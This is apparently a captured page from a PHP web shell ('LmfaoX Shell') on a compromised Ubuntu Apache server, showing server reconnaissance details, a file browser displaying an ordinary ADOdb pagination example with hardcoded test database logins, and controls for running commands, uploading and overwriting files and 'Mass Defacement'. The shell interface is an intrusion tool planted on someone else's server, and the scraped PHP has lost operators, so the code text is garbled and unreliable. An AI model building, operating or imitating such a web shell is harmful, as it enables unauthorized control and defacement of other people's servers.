ShellBanner
System:Linux MiraNet 3.0.0-14-generic-pae #23-Ubuntu SMP Mon Nov 21 22:07:10 UTC 2011 i686
Software:Apache. PHP/5.3.6-13ubuntu3.10
ID:uid=65534(nobody) gid=65534(nogroup) groups=65534(nogroup)
Safe Mode:OFF
Open_Basedir:OFF
Freespace:22.81 GB of 70.42 GB (32.4%)
MySQL: ON MSSQL: OFF Oracle: OFF PostgreSQL: OFF Curl: OFF Sockets: ON Fetch: OFF Wget: ON Perl: ON
Disabled Functions: pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,

/ usr/ share/ doc/ libphp-adodb/ examples/ - drwxr-xr-x

Directory:
Viewing file:     testpaging.php (2.26 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php
/* 
V4.80 8 Mar 2006  (c) 2000-2009 John Lim (jlim#natsoft.com). All rights reserved.
  Released under both BSD license and Lesser GPL library license. 
  Whenever there is any discrepancy between the two licenses, 
  the BSD license will take precedence. 
  Set tabs to 4 for best viewing.
    
  Latest version is available at http://adodb.sourceforge.net
*/

error_reporting(E_ALL);


include_once(
'adodb/adodb.inc.php');
include_once(
'adodb/adodb-pager.inc.php');

$driver 'oci8';
$sql 'select  ID, firstname as "First Name", lastname as "Last Name" from adoxyz  order  by  id';
//$sql = 'select count(*),firstname from adoxyz group by firstname order by 2 ';
//$sql = 'select distinct firstname, lastname from adoxyz  order  by  firstname';

if ($driver == 'postgres') {
    
$db NewADOConnection('postgres');
    
$db->PConnect('localhost','tester','test','test');
}

if (
$driver == 'access') {
    
$db NewADOConnection('access');
    
$db->PConnect("nwind""""""");
}

if (
$driver == 'ibase') {
    
$db NewADOConnection('ibase');
    
$db->PConnect("localhost:e:\\firebird\\examples\\employee.gdb""sysdba""masterkey""");
    
$sql 'select distinct firstname, lastname  from adoxyz  order  by  firstname';

}
if (
$driver == 'mssql') {
    
$db NewADOConnection('mssql');
    
$db->Connect('JAGUAR\vsdotnet','adodb','natsoft','northwind');
}
if (
$driver == 'oci8') {
    
$db NewADOConnection('oci8');
    
$db->Connect('','scott','natsoft');
    
$sql "select * from (select  ID, firstname as \"First Name\", lastname as \"Last Name\" from adoxyz 
     order  by  1)"
;
}

if (
$driver == 'access') {
    
$db NewADOConnection('access');
    
$db->Connect('nwind');
}

if (empty(
$driver) or $driver == 'mysql') {
    
$db NewADOConnection('mysql');
    
$db->Connect('localhost','root','','test');
}

//$db->pageExecuteCountRows = false;

$db->debug true;

if (
0) {
$rs $db->Execute($sql);
include_once(
'adodb/toexport.inc.php');
print 
"<pre>";
print 
rs2csv($rs); # return a string

print '<hr />';
$rs->MoveFirst(); # note, some databases do not support MoveFirst
print rs2tab($rs); # return a string

print '<hr />';
$rs->MoveFirst();
rs2tabout($rs); # send to stdout directly
print "</pre>";
}

$pager = new ADODB_Pager($db,$sql);
$pager->showPageLinks true;
$pager->linksPerPage 10;
$pager->cache 60;
$pager->Render($rows=7);
?>
Command:
Quick Commands:
Upload:
[Read-Only] Max size: 100MB
PHP Filesystem: <@ Ú
Search File:
regexp
Create File:
Overwrite [Read-Only]
View File:
Mass Defacement:
[+] Main Directory: [+] Defacement Url:
LmfaoX Shell - Private Build [BETA] - v0.1 -; Generated: 0.1813 seconds